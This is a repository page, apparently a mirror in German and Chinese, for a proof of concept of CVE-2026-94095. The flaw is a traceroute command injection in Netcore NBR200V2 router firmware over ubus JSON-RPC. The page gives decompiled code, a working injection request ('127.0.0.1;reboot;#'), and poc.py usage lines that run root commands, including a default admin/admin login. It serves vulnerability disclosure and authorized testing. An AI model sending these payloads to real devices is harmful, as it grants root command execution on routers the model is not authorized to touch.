hackspeak/cve-2026-94095PoC für CVE-2026-94095, eine Traceroute-Befehlsinjektion in der Netcore NBR200V2-Firmware über ubus JSON-RPC, die Root-RCE für autorisierte Tests ermöglicht.
| Feld | Wert |
|---|---|
| Hersteller | Netcore |
| Modell | NBR200V2 |
| Firmware-Version | V1.3.241127.071246 |
| Betroffene Komponente | /usr/bin/network_tools |
| Schwachstellentyp | OS Command Injection (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Kritisch) |
| Angriffsvektor | Remote (ubus JSON-RPC) |
| Voraussetzung | Erreichbarer ubus-Endpunkt + eine Sitzung mit geringen Rechten (sid) |
| Herstellerstatus | Früh kontaktiert; keine Antwort; zum Zeitpunkt der Offenlegung kein Patch |
Die Firmware V1.3.241127.071246 des Netcore NBR200V2 enthält eine Remote-Command-Injection-Schwachstelle in der Traceroute-Diagnosefunktion. Der Traceroute-Handler akzeptiert einen vom Angreifer kontrollierten url-Wert aus ubus JSON-RPC, verkettet ihn zu einem Shell-Befehl und führt den resultierenden Befehl aus. Ein entfernter Angreifer kann diese Schwachstelle nutzen, um beliebige Shell-Befehle auszuführen, das Gerät neu zu starten oder eine vollständige Systemkompromittierung zu erreichen.
Die entfernte Anfrage wird als ubus JSON-RPC akzeptiert:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
Das ubus-Methoden-Mapping leitet die Anfrage an sub_401BD8 weiter:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 parst die JSON-RPC-Daten und leitet sie an tools_traceroute() weiter:
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() baut einen Shell-Befehl unter Verwendung des nicht vertrauenswürdigen url-Werts:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
Die Schwachstelle ist strukturell identisch mit dem Ping-Problem, erreicht jedoch eine andere Senke und einen anderen Ausführungspfad. Da system() verwendet wird, werden Befehlstrennzeichen wie ;, && und Shell-Kommentare berücksichtigt. Die Diagnosefunktion wird dadurch zu einem universellen Primitiv zur Befehlsausführung.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
Erwartete Wirkung: Der Router führt reboot aus, während er den Traceroute-Job verarbeitet. Beliebige Shell-Befehle können anstelle von reboot eingesetzt werden.
Alle drei erreichen dieselbe /usr/bin/network_tools; die Diagnosefunktionen in dieser Binärdatei teilen dasselbe unsichere Muster, sodass die Behebung eines einzelnen Einstiegspunkts nicht ausreicht.
Zum Zeitpunkt der Offenlegung kein Hersteller-Patch. Vorläufige Maßnahmen:
Offenlegung durch den unabhängigen Forscher, der den technischen Write-up veröffentlicht und (erfolglos) mit dem Hersteller koordiniert hat.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。